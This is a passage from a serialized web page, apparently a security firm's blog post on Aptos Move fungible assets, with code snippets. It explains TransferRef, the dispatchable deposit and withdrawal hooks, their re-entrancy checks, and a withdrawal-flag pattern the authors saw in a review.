",{"type":23,"tag":64,"props":62782,"children":62784},{"className":62783},[],[62785],{"type":28,"value":46376},{"type":28,"value":62787}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":23,"tag":64,"props":62789,"children":62791},{"className":62790},[],[62792],{"type":28,"value":46376},{"type":28,"value":62794}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":23,"tag":24,"props":62796,"children":62797},{},[62798,62800,62805,62807,62812,62813,62819,62821,62826,62828,62833],{"type":28,"value":62799},"Let's get back to the ",{"type":23,"tag":64,"props":62801,"children":62803},{"className":62802},[],[62804],{"type":28,"value":59604},{"type":28,"value":62806}," deletion example. Both ",{"type":23,"tag":64,"props":62808,"children":62810},{"className":62809},[],[62811],{"type":28,"value":60889},{"type":28,"value":8478},{"type":23,"tag":64,"props":62814,"children":62816},{"className":62815},[],[62817],{"type":28,"value":62818},"fungible_asset::remove_store",{"type":28,"value":62820}," use the same object-specific ",{"type":23,"tag":64,"props":62822,"children":62824},{"className":62823},[],[62825],{"type":28,"value":60821},{"type":28,"value":62827}," permission. It can be created only during object creation. There is no separate ",{"type":23,"tag":64,"props":62829,"children":62831},{"className":62830},[],[62832],{"type":28,"value":60821},{"type":28,"value":62834}," for fungible assets.",{"type":23,"tag":435,"props":62836,"children":62837},{"className":475,"code":60771,"language":474,"meta":7,"style":7},[62838],{"type":23,"tag":64,"props":62839,"children":62840},{"__ignoreMap":7},[62841,62848,62887,62894,62901],{"type":23,"tag":481,"props":62842,"children":62843},{"class":483,"line":484},[62844],{"type":23,"tag":481,"props":62845,"children":62846},{"style":488},[62847],{"type":28,"value":60783},{"type":23,"tag":481,"props":62849,"children":62850},{"class":483,"line":351},[62851,62855,62859,62863,62867,62871,62875,62879,62883],{"type":23,"tag":481,"props":62852,"children":62853},{"style":508},[62854],{"type":28,"value":59203},{"type":23,"tag":481,"props":62856,"children":62857},{"style":508},[62858],{"type":28,"value":3684},{"type":23,"tag":481,"props":62860,"children":62861},{"style":610},[62862],{"type":28,"value":60799},{"type":23,"tag":481,"props":62864,"children":62865},{"style":525},[62866],{"type":28,"value":618},{"type":23,"tag":481,"props":62868,"children":62869},{"style":508},[62870],{"type":28,"value":60808},{"type":23,"tag":481,"props":62872,"children":62873},{"style":514},[62874],{"type":28,"value":287},{"type":23,"tag":481,"props":62876,"children":62877},{"style":514},[62878],{"type":28,"value":4619},{"type":23,"tag":481,"props":62880,"children":62881},{"style":943},[62882],{"type":28,"value":60821},{"type":23,"tag":481,"props":62884,"children":62885},{"style":525},[62886],{"type":28,"value":675},{"type":23,"tag":481,"props":62888,"children":62889},{"class":483,"line":531},[62890],{"type":23,"tag":481,"props":62891,"children":62892},{"emptyLinePlaceholder":15},[62893],{"type":28,"value":1210},{"type":23,"tag":481,"props":62895,"children":62896},{"class":483,"line":567},[62897],{"type":23,"tag":481,"props":62898,"children":62899},{"style":488},[62900],{"type":28,"value":60840},{"type":23,"tag":481,"props":62902,"children":62903},{"class":483,"line":678},[62904,62908,62912,62916,62920,62924,62928,62932],{"type":23,"tag":481,"props":62905,"children":62906},{"style":508},[62907],{"type":28,"value":59203},{"type":23,"tag":481,"props":62909,"children":62910},{"style":508},[62911],{"type":28,"value":3684},{"type":23,"tag":481,"props":62913,"children":62914},{"style":610},[62915],{"type":28,"value":60856},{"type":23,"tag":481,"props":62917,"children":62918},{"style":525},[62919],{"type":28,"value":618},{"type":23,"tag":481,"props":62921,"children":62922},{"style":497},[62923],{"type":28,"value":60865},{"type":23,"tag":481,"props":62925,"children":62926},{"style":514},[62927],{"type":28,"value":287},{"type":23,"tag":481,"props":62929,"children":62930},{"style":943},[62931],{"type":28,"value":60874},{"type":23,"tag":481,"props":62933,"children":62934},{"style":525},[62935],{"type":28,"value":675},{"type":23,"tag":24,"props":62937,"children":62938},{},[62939,62941,62946,62948,62954],{"type":28,"value":62940},"On the other hand, the \"frozen\" status of a ",{"type":23,"tag":64,"props":62942,"children":62944},{"className":62943},[],[62945],{"type":28,"value":59604},{"type":28,"value":62947}," is toggled using a ",{"type":23,"tag":64,"props":62949,"children":62951},{"className":62950},[],[62952],{"type":28,"value":62953},"TransferRef",{"type":28,"value":62955},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":23,"tag":435,"props":62957,"children":62959},{"className":475,"code":62958,"language":474,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n ref: &TransferRef,\n store: Object\u003CT>,\n frozen: bool,\n)\n",[62960],{"type":23,"tag":64,"props":62961,"children":62962},{"__ignoreMap":7},[62963,62999,63023,63050,63069],{"type":23,"tag":481,"props":62964,"children":62965},{"class":483,"line":484},[62966,62970,62974,62979,62983,62987,62991,62995],{"type":23,"tag":481,"props":62967,"children":62968},{"style":508},[62969],{"type":28,"value":59203},{"type":23,"tag":481,"props":62971,"children":62972},{"style":508},[62973],{"type":28,"value":3684},{"type":23,"tag":481,"props":62975,"children":62976},{"style":508},[62977],{"type":28,"value":62978}," set_frozen_flag",{"type":23,"tag":481,"props":62980,"children":62981},{"style":525},[62982],{"type":28,"value":3282},{"type":23,"tag":481,"props":62984,"children":62985},{"style":943},[62986],{"type":28,"value":3464},{"type":23,"tag":481,"props":62988,"children":62989},{"style":514},[62990],{"type":28,"value":287},{"type":23,"tag":481,"props":62992,"children":62993},{"style":508},[62994],{"type":28,"value":3408},{"type":23,"tag":481,"props":62996,"children":62997},{"style":525},[62998],{"type":28,"value":4066},{"type":23,"tag":481,"props":63000,"children":63001},{"class":483,"line":351},[63002,63007,63011,63015,63019],{"type":23,"tag":481,"props":63003,"children":63004},{"style":497},[63005],{"type":28,"value":63006}," ref",{"type":23,"tag":481,"props":63008,"children":63009},{"style":514},[63010],{"type":28,"value":287},{"type":23,"tag":481,"props":63012,"children":63013},{"style":514},[63014],{"type":28,"value":4619},{"type":23,"tag":481,"props":63016,"children":63017},{"style":943},[63018],{"type":28,"value":62953},{"type":23,"tag":481,"props":63020,"children":63021},{"style":525},[63022],{"type":28,"value":1033},{"type":23,"tag":481,"props":63024,"children":63025},{"class":483,"line":531},[63026,63030,63034,63038,63042,63046],{"type":23,"tag":481,"props":63027,"children":63028},{"style":508},[63029],{"type":28,"value":26927},{"type":23,"tag":481,"props":63031,"children":63032},{"style":514},[63033],{"type":28,"value":287},{"type":23,"tag":481,"props":63035,"children":63036},{"style":943},[63037],{"type":28,"value":59089},{"type":23,"tag":481,"props":63039,"children":63040},{"style":525},[63041],{"type":28,"value":3282},{"type":23,"tag":481,"props":63043,"children":63044},{"style":943},[63045],{"type":28,"value":3464},{"type":23,"tag":481,"props":63047,"children":63048},{"style":525},[63049],{"type":28,"value":3615},{"type":23,"tag":481,"props":63051,"children":63052},{"class":483,"line":567},[63053,63057,63061,63065],{"type":23,"tag":481,"props":63054,"children":63055},{"style":508},[63056],{"type":28,"value":58741},{"type":23,"tag":481,"props":63058,"children":63059},{"style":514},[63060],{"type":28,"value":287},{"type":23,"tag":481,"props":63062,"children":63063},{"style":943},[63064],{"type":28,"value":9537},{"type":23,"tag":481,"props":63066,"children":63067},{"style":525},[63068],{"type":28,"value":1033},{"type":23,"tag":481,"props":63070,"children":63071},{"class":483,"line":678},[63072],{"type":23,"tag":481,"props":63073,"children":63074},{"style":525},[63075],{"type":28,"value":675},{"type":23,"tag":24,"props":63077,"children":63078},{},[63079,63080,63085,63086,63091],{"type":28,"value":14104},{"type":23,"tag":64,"props":63081,"children":63083},{"className":63082},[],[63084],{"type":28,"value":46376},{"type":28,"value":3935},{"type":23,"tag":64,"props":63087,"children":63089},{"className":63088},[],[63090],{"type":28,"value":62953},{"type":28,"value":63092}," is used to transfer object ownership:",{"type":23,"tag":435,"props":63094,"children":63096},{"className":475,"code":63095,"language":474,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n self: address,\n}\n",[63097],{"type":23,"tag":64,"props":63098,"children":63099},{"__ignoreMap":7},[63100,63108,63141,63160],{"type":23,"tag":481,"props":63101,"children":63102},{"class":483,"line":484},[63103],{"type":23,"tag":481,"props":63104,"children":63105},{"style":488},[63106],{"type":28,"value":63107},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":23,"tag":481,"props":63109,"children":63110},{"class":483,"line":351},[63111,63115,63120,63124,63129,63133,63137],{"type":23,"tag":481,"props":63112,"children":63113},{"style":497},[63114],{"type":28,"value":6884},{"type":23,"tag":481,"props":63116,"children":63117},{"style":943},[63118],{"type":28,"value":63119}," TransferRef",{"type":23,"tag":481,"props":63121,"children":63122},{"style":508},[63123],{"type":28,"value":6893},{"type":23,"tag":481,"props":63125,"children":63126},{"style":508},[63127],{"type":28,"value":63128}," drop",{"type":23,"tag":481,"props":63130,"children":63131},{"style":525},[63132],{"type":28,"value":588},{"type":23,"tag":481,"props":63134,"children":63135},{"style":508},[63136],{"type":28,"value":3417},{"type":23,"tag":481,"props":63138,"children":63139},{"style":525},[63140],{"type":28,"value":809},{"type":23,"tag":481,"props":63142,"children":63143},{"class":483,"line":531},[63144,63148,63152,63156],{"type":23,"tag":481,"props":63145,"children":63146},{"style":497},[63147],{"type":28,"value":18284},{"type":23,"tag":481,"props":63149,"children":63150},{"style":514},[63151],{"type":28,"value":287},{"type":23,"tag":481,"props":63153,"children":63154},{"style":508},[63155],{"type":28,"value":3727},{"type":23,"tag":481,"props":63157,"children":63158},{"style":525},[63159],{"type":28,"value":1033},{"type":23,"tag":481,"props":63161,"children":63162},{"class":483,"line":567},[63163],{"type":23,"tag":481,"props":63164,"children":63165},{"style":525},[63166],{"type":28,"value":1443},{"type":23,"tag":24,"props":63168,"children":63169},{},[63170,63172,63177],{"type":28,"value":63171},"While the fungible asset's ",{"type":23,"tag":64,"props":63173,"children":63175},{"className":63174},[],[63176],{"type":28,"value":62953},{"type":28,"value":63178}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":23,"tag":435,"props":63180,"children":63182},{"className":475,"code":63181,"language":474,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n metadata: Object\u003CMetadata>\n}\n",[63183],{"type":23,"tag":64,"props":63184,"children":63185},{"__ignoreMap":7},[63186,63194,63202,63233,63260],{"type":23,"tag":481,"props":63187,"children":63188},{"class":483,"line":484},[63189],{"type":23,"tag":481,"props":63190,"children":63191},{"style":488},[63192],{"type":28,"value":63193},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":23,"tag":481,"props":63195,"children":63196},{"class":483,"line":351},[63197],{"type":23,"tag":481,"props":63198,"children":63199},{"style":488},[63200],{"type":28,"value":63201},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":23,"tag":481,"props":63203,"children":63204},{"class":483,"line":531},[63205,63209,63213,63217,63221,63225,63229],{"type":23,"tag":481,"props":63206,"children":63207},{"style":497},[63208],{"type":28,"value":6884},{"type":23,"tag":481,"props":63210,"children":63211},{"style":943},[63212],{"type":28,"value":63119},{"type":23,"tag":481,"props":63214,"children":63215},{"style":508},[63216],{"type":28,"value":6893},{"type":23,"tag":481,"props":63218,"children":63219},{"style":508},[63220],{"type":28,"value":63128},{"type":23,"tag":481,"props":63222,"children":63223},{"style":525},[63224],{"type":28,"value":588},{"type":23,"tag":481,"props":63226,"children":63227},{"style":508},[63228],{"type":28,"value":3417},{"type":23,"tag":481,"props":63230,"children":63231},{"style":525},[63232],{"type":28,"value":809},{"type":23,"tag":481,"props":63234,"children":63235},{"class":483,"line":567},[63236,63240,63244,63248,63252,63256],{"type":23,"tag":481,"props":63237,"children":63238},{"style":508},[63239],{"type":28,"value":59080},{"type":23,"tag":481,"props":63241,"children":63242},{"style":514},[63243],{"type":28,"value":287},{"type":23,"tag":481,"props":63245,"children":63246},{"style":943},[63247],{"type":28,"value":59089},{"type":23,"tag":481,"props":63249,"children":63250},{"style":525},[63251],{"type":28,"value":3282},{"type":23,"tag":481,"props":63253,"children":63254},{"style":943},[63255],{"type":28,"value":59098},{"type":23,"tag":481,"props":63257,"children":63258},{"style":525},[63259],{"type":28,"value":3469},{"type":23,"tag":481,"props":63261,"children":63262},{"class":483,"line":678},[63263],{"type":23,"tag":481,"props":63264,"children":63265},{"style":525},[63266],{"type":28,"value":1443},{"type":23,"tag":24,"props":63268,"children":63269},{},[63270,63272,63278,63280,63286],{"type":28,"value":63271},"Additionally, there are fungible asset-specific references such as ",{"type":23,"tag":64,"props":63273,"children":63275},{"className":63274},[],[63276],{"type":28,"value":63277},"MintRef",{"type":28,"value":63279}," for minting and ",{"type":23,"tag":64,"props":63281,"children":63283},{"className":63282},[],[63284],{"type":28,"value":63285},"BurnRef",{"type":28,"value":63287}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":23,"tag":31,"props":63289,"children":63291},{"id":63290},"dispatchable-fungible-assets",[63292],{"type":28,"value":63293},"Dispatchable fungible assets",{"type":23,"tag":24,"props":63295,"children":63296},{},[63297],{"type":28,"value":63298},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":23,"tag":24,"props":63300,"children":63301},{},[63302],{"type":28,"value":63303},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":23,"tag":63305,"props":63306,"children":63307},"warning",{},[63308],{"type":23,"tag":24,"props":63309,"children":63310},{},[63311,63313,63319],{"type":28,"value":63312},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":23,"tag":64,"props":63314,"children":63316},{"className":63315},[],[63317],{"type":28,"value":63318},"transfer_assert_minimum_deposit",{"type":28,"value":63320}," that can help mitigate such risks.",{"type":23,"tag":24,"props":63322,"children":63323},{},[63324,63326,63331,63333,63340],{"type":28,"value":63325},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":23,"tag":64,"props":63327,"children":63329},{"className":63328},[],[63330],{"type":28,"value":59203},{"type":28,"value":63332}," to ensure ",{"type":23,"tag":190,"props":63334,"children":63337},{"href":63335,"rel":63336},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[194],[63338],{"type":28,"value":63339},"their signature remains immutable",{"type":28,"value":63341},". An example implementation might look like this:",{"type":23,"tag":435,"props":63343,"children":63345},{"className":475,"code":63344,"language":474,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n store: Object\u003CT>,\n amount: u64,\n transfer_ref: &TransferRef,\n): FungibleAsset {\n //check paused, gather fees etc.\n fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n store: Object\u003CT>,\n fa: FungibleAsset,\n transfer_ref: &TransferRef,\n) {\n //check paused, gather fees etc.\n fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[63346],{"type":23,"tag":64,"props":63347,"children":63348},{"__ignoreMap":7},[63349,63385,63412,63431,63455,63474,63482,63528,63535,63542,63578,63605,63625,63648,63655,63662,63706],{"type":23,"tag":481,"props":63350,"children":63351},{"class":483,"line":484},[63352,63356,63360,63365,63369,63373,63377,63381],{"type":23,"tag":481,"props":63353,"children":63354},{"style":508},[63355],{"type":28,"value":59203},{"type":23,"tag":481,"props":63357,"children":63358},{"style":508},[63359],{"type":28,"value":3684},{"type":23,"tag":481,"props":63361,"children":63362},{"style":508},[63363],{"type":28,"value":63364}," withdraw_hook",{"type":23,"tag":481,"props":63366,"children":63367},{"style":525},[63368],{"type":28,"value":3282},{"type":23,"tag":481,"props":63370,"children":63371},{"style":943},[63372],{"type":28,"value":3464},{"type":23,"tag":481,"props":63374,"children":63375},{"style":514},[63376],{"type":28,"value":287},{"type":23,"tag":481,"props":63378,"children":63379},{"style":508},[63380],{"type":28,"value":3408},{"type":23,"tag":481,"props":63382,"children":63383},{"style":525},[63384],{"type":28,"value":4066},{"type":23,"tag":481,"props":63386,"children":63387},{"class":483,"line":351},[63388,63392,63396,63400,63404,63408],{"type":23,"tag":481,"props":63389,"children":63390},{"style":508},[63391],{"type":28,"value":26927},{"type":23,"tag":481,"props":63393,"children":63394},{"style":514},[63395],{"type":28,"value":287},{"type":23,"tag":481,"props":63397,"children":63398},{"style":943},[63399],{"type":28,"value":59089},{"type":23,"tag":481,"props":63401,"children":63402},{"style":525},[63403],{"type":28,"value":3282},{"type":23,"tag":481,"props":63405,"children":63406},{"style":943},[63407],{"type":28,"value":3464},{"type":23,"tag":481,"props":63409,"children":63410},{"style":525},[63411],{"type":28,"value":3615},{"type":23,"tag":481,"props":63413,"children":63414},{"class":483,"line":531},[63415,63419,63423,63427],{"type":23,"tag":481,"props":63416,"children":63417},{"style":508},[63418],{"type":28,"value":59110},{"type":23,"tag":481,"props":63420,"children":63421},{"style":514},[63422],{"type":28,"value":287},{"type":23,"tag":481,"props":63424,"children":63425},{"style":943},[63426],{"type":28,"value":3336},{"type":23,"tag":481,"props":63428,"children":63429},{"style":525},[63430],{"type":28,"value":1033},{"type":23,"tag":481,"props":63432,"children":63433},{"class":483,"line":567},[63434,63439,63443,63447,63451],{"type":23,"tag":481,"props":63435,"children":63436},{"style":508},[63437],{"type":28,"value":63438}," transfer_ref",{"type":23,"tag":481,"props":63440,"children":63441},{"style":514},[63442],{"type":28,"value":287},{"type":23,"tag":481,"props":63444,"children":63445},{"style":514},[63446],{"type":28,"value":4619},{"type":23,"tag":481,"props":63448,"children":63449},{"style":943},[63450],{"type":28,"value":62953},{"type":23,"tag":481,"props":63452,"children":63453},{"style":525},[63454],{"type":28,"value":1033},{"type":23,"tag":481,"props":63456,"children":63457},{"class":483,"line":678},[63458,63462,63466,63470],{"type":23,"tag":481,"props":63459,"children":63460},{"style":525},[63461],{"type":28,"value":642},{"type":23,"tag":481,"props":63463,"children":63464},{"style":514},[63465],{"type":28,"value":287},{"type":23,"tag":481,"props":63467,"children":63468},{"style":943},[63469],{"type":28,"value":59068},{"type":23,"tag":481,"props":63471,"children":63472},{"style":525},[63473],{"type":28,"value":809},{"type":23,"tag":481,"props":63475,"children":63476},{"class":483,"line":784},[63477],{"type":23,"tag":481,"props":63478,"children":63479},{"style":488},[63480],{"type":28,"value":63481}," //check paused, gather fees etc.\n",{"type":23,"tag":481,"props":63483,"children":63484},{"class":483,"line":812},[63485,63490,63494,63499,63503,63508,63512,63516,63520,63524],{"type":23,"tag":481,"props":63486,"children":63487},{"style":525},[63488],{"type":28,"value":63489}," fungible_asset",{"type":23,"tag":481,"props":63491,"children":63492},{"style":514},[63493],{"type":28,"value":1006},{"type":23,"tag":481,"props":63495,"children":63496},{"style":610},[63497],{"type":28,"value":63498},"withdraw_with_ref",{"type":23,"tag":481,"props":63500,"children":63501},{"style":525},[63502],{"type":28,"value":618},{"type":23,"tag":481,"props":63504,"children":63505},{"style":508},[63506],{"type":28,"value":63507},"transfer_ref",{"type":23,"tag":481,"props":63509,"children":63510},{"style":525},[63511],{"type":28,"value":588},{"type":23,"tag":481,"props":63513,"children":63514},{"style":508},[63515],{"type":28,"value":3417},{"type":23,"tag":481,"props":63517,"children":63518},{"style":525},[63519],{"type":28,"value":588},{"type":23,"tag":481,"props":63521,"children":63522},{"style":508},[63523],{"type":28,"value":17804},{"type":23,"tag":481,"props":63525,"children":63526},{"style":525},[63527],{"type":28,"value":675},{"type":23,"tag":481,"props":63529,"children":63530},{"class":483,"line":825},[63531],{"type":23,"tag":481,"props":63532,"children":63533},{"style":525},[63534],{"type":28,"value":1443},{"type":23,"tag":481,"props":63536,"children":63537},{"class":483,"line":843},[63538],{"type":23,"tag":481,"props":63539,"children":63540},{"emptyLinePlaceholder":15},[63541],{"type":28,"value":1210},{"type":23,"tag":481,"props":63543,"children":63544},{"class":483,"line":864},[63545,63549,63553,63558,63562,63566,63570,63574],{"type":23,"tag":481,"props":63546,"children":63547},{"style":508},[63548],{"type":28,"value":59203},{"type":23,"tag":481,"props":63550,"children":63551},{"style":508},[63552],{"type":28,"value":3684},{"type":23,"tag":481,"props":63554,"children":63555},{"style":508},[63556],{"type":28,"value":63557}," deposit_hook",{"type":23,"tag":481,"props":63559,"children":63560},{"style":525},[63561],{"type":28,"value":3282},{"type":23,"tag":481,"props":63563,"children":63564},{"style":943},[63565],{"type":28,"value":3464},{"type":23,"tag":481,"props":63567,"children":63568},{"style":514},[63569],{"type":28,"value":287},{"type":23,"tag":481,"props":63571,"children":63572},{"style":508},[63573],{"type":28,"value":3408},{"type":23,"tag":481,"props":63575,"children":63576},{"style":525},[63577],{"type":28,"value":4066},{"type":23,"tag":481,"props":63579,"children":63580},{"class":483,"line":873},[63581,63585,63589,63593,63597,63601],{"type":23,"tag":481,"props":63582,"children":63583},{"style":508},[63584],{"type":28,"value":26927},{"type":23,"tag":481,"props":63586,"children":63587},{"style":514},[63588],{"type":28,"value":287},{"type":23,"tag":481,"props":63590,"children":63591},{"style":943},[63592],{"type":28,"value":59089},{"type":23,"tag":481,"props":63594,"children":63595},{"style":525},[63596],{"type":28,"value":3282},{"type":23,"tag":481,"props":63598,"children":63599},{"style":943},[63600],{"type":28,"value":3464},{"type":23,"tag":481,"props":63602,"children":63603},{"style":525},[63604],{"type":28,"value":3615},{"type":23,"tag":481,"props":63606,"children":63607},{"class":483,"line":1125},[63608,63613,63617,63621],{"type":23,"tag":481,"props":63609,"children":63610},{"style":508},[63611],{"type":28,"value":63612}," fa",{"type":23,"tag":481,"props":63614,"children":63615},{"style":514},[63616],{"type":28,"value":287},{"type":23,"tag":481,"props":63618,"children":63619},{"style":943},[63620],{"type":28,"value":59068},{"type":23,"tag":481,"props":63622,"children":63623},{"style":525},[63624],{"type":28,"value":1033},{"type":23,"tag":481,"props":63626,"children":63627},{"class":483,"line":1142},[63628,63632,63636,63640,63644],{"type":23,"tag":481,"props":63629,"children":63630},{"style":508},[63631],{"type":28,"value":63438},{"type":23,"tag":481,"props":63633,"children":63634},{"style":514},[63635],{"type":28,"value":287},{"type":23,"tag":481,"props":63637,"children":63638},{"style":514},[63639],{"type":28,"value":4619},{"type":23,"tag":481,"props":63641,"children":63642},{"style":943},[63643],{"type":28,"value":62953},{"type":23,"tag":481,"props":63645,"children":63646},{"style":525},[63647],{"type":28,"value":1033},{"type":23,"tag":481,"props":63649,"children":63650},{"class":483,"line":1159},[63651],{"type":23,"tag":481,"props":63652,"children":63653},{"style":525},[63654],{"type":28,"value":12292},{"type":23,"tag":481,"props":63656,"children":63657},{"class":483,"line":1172},[63658],{"type":23,"tag":481,"props":63659,"children":63660},{"style":488},[63661],{"type":28,"value":63481},{"type":23,"tag":481,"props":63663,"children":63664},{"class":483,"line":1181},[63665,63669,63673,63678,63682,63686,63690,63694,63698,63702],{"type":23,"tag":481,"props":63666,"children":63667},{"style":525},[63668],{"type":28,"value":63489},{"type":23,"tag":481,"props":63670,"children":63671},{"style":514},[63672],{"type":28,"value":1006},{"type":23,"tag":481,"props":63674,"children":63675},{"style":610},[63676],{"type":28,"value":63677},"deposit_with_ref",{"type":23,"tag":481,"props":63679,"children":63680},{"style":525},[63681],{"type":28,"value":618},{"type":23,"tag":481,"props":63683,"children":63684},{"style":508},[63685],{"type":28,"value":63507},{"type":23,"tag":481,"props":63687,"children":63688},{"style":525},[63689],{"type":28,"value":588},{"type":23,"tag":481,"props":63691,"children":63692},{"style":508},[63693],{"type":28,"value":3417},{"type":23,"tag":481,"props":63695,"children":63696},{"style":525},[63697],{"type":28,"value":588},{"type":23,"tag":481,"props":63699,"children":63700},{"style":508},[63701],{"type":28,"value":59261},{"type":23,"tag":481,"props":63703,"children":63704},{"style":525},[63705],{"type":28,"value":1366},{"type":23,"tag":481,"props":63707,"children":63708},{"class":483,"line":1204},[63709],{"type":23,"tag":481,"props":63710,"children":63711},{"style":525},[63712],{"type":28,"value":1443},{"type":23,"tag":63714,"props":63715,"children":63716},"question",{},[63717,63744],{"type":23,"tag":24,"props":63718,"children":63719},{},[63720,63722,63728,63730,63736,63737,63743],{"type":28,"value":63721},"Why hook functions rely on ",{"type":23,"tag":64,"props":63723,"children":63725},{"className":63724},[],[63726],{"type":28,"value":63727},"*_with_ref",{"type":28,"value":63729}," calls? What would happen if the hook function called ",{"type":23,"tag":64,"props":63731,"children":63733},{"className":63732},[],[63734],{"type":28,"value":63735},"dispatchable_fungible_asset::withdraw",{"type":28,"value":14285},{"type":23,"tag":64,"props":63738,"children":63740},{"className":63739},[],[63741],{"type":28,"value":63742},"fungible_asset::withdraw_with_ref",{"type":28,"value":670},{"type":23,"tag":63745,"props":63746,"children":63747},"template",{"v-slot:answer-0":7},[63748,63760],{"type":23,"tag":24,"props":63749,"children":63750},{},[63751,63753,63758],{"type":28,"value":63752},"A1: Hook functions rely on ",{"type":23,"tag":64,"props":63754,"children":63756},{"className":63755},[],[63757],{"type":28,"value":63727},{"type":28,"value":63759}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":23,"tag":24,"props":63761,"children":63762},{},[63763,63765,63770],{"type":28,"value":63764},"A2: A ",{"type":23,"tag":64,"props":63766,"children":63768},{"className":63767},[],[63769],{"type":28,"value":63735},{"type":28,"value":63771}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":23,"tag":24,"props":63773,"children":63774},{},[63775],{"type":28,"value":63776},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":23,"tag":435,"props":63778,"children":63780},{"className":475,"code":63779,"language":474,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n assert_withdraw_flag(true);\n [...]\n set_withdraw_flag(false);\n fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n [...]\n }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n assert_withdraw_flag(false);\n [...]\n set_withdraw_flag(true);\n fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[63781],{"type":23,"tag":64,"props":63782,"children":63783},{"__ignoreMap":7},[63784,63879,63899,63914,63934,63977,63992,63999,64006,64125,64144,64159,64178,64221],{"type":23,"tag":481,"props":63785,"children":63786},{"class":483,"line":484},[63787,63791,63795,63799,63803,63807,63811,63815,63819,63823,63827,63831,63835,63839,63843,63847,63851,63855,63859,63863,63867,63871,63875],{"type":23,"tag":481,"props":63788,"children":63789},{"style":508},[63790],{"type":28,"value":59203},{"type":23,"tag":481,"props":63792,"children":63793},{"style":508},[63794],{"type":28,"value":3684},{"type":23,"tag":481,"props":63796,"children":63797},{"style":508},[63798],{"type":28,"value":59212},{"type":23,"tag":481,"props":63800,"children":63801},{"style":525},[63802],{"type":28,"value":3282},{"type":23,"tag":481,"props":63804,"children":63805},{"style":943},[63806],{"type":28,"value":3464},{"type":23,"tag":481,"props":63808,"children":63809},{"style":514},[63810],{"type":28,"value":287},{"type":23,"tag":481,"props":63812,"children":63813},{"style":508},[63814],{"type":28,"value":3408},{"type":23,"tag":481,"props":63816,"children":63817},{"style":525},[63818],{"type":28,"value":5089},{"type":23,"tag":481,"props":63820,"children":63821},{"style":508},[63822],{"type":28,"value":3417},{"type":23,"tag":481,"props":63824,"children":63825},{"style":514},[63826],{"type":28,"value":287},{"type":23,"tag":481,"props":63828,"children":63829},{"style":943},[63830],{"type":28,"value":59089},{"type":23,"tag":481,"props":63832,"children":63833},{"style":525},[63834],{"type":28,"value":3282},{"type":23,"tag":481,"props":63836,"children":63837},{"style":943},[63838],{"type":28,"value":3464},{"type":23,"tag":481,"props":63840,"children":63841},{"style":525},[63842],{"type":28,"value":4108},{"type":23,"tag":481,"props":63844,"children":63845},{"style":508},[63846],{"type":28,"value":59261},{"type":23,"tag":481,"props":63848,"children":63849},{"style":514},[63850],{"type":28,"value":287},{"type":23,"tag":481,"props":63852,"children":63853},{"style":943},[63854],{"type":28,"value":59068},{"type":23,"tag":481,"props":63856,"children":63857},{"style":525},[63858],{"type":28,"value":588},{"type":23,"tag":481,"props":63860,"children":63861},{"style":508},[63862],{"type":28,"value":63507},{"type":23,"tag":481,"props":63864,"children":63865},{"style":514},[63866],{"type":28,"value":287},{"type":23,"tag":481,"props":63868,"children":63869},{"style":514},[63870],{"type":28,"value":4619},{"type":23,"tag":481,"props":63872,"children":63873},{"style":943},[63874],{"type":28,"value":62953},{"type":23,"tag":481,"props":63876,"children":63877},{"style":525},[63878],{"type":28,"value":12292},{"type":23,"tag":481,"props":63880,"children":63881},{"class":483,"line":351},[63882,63887,63891,63895],{"type":23,"tag":481,"props":63883,"children":63884},{"style":610},[63885],{"type":28,"value":63886}," 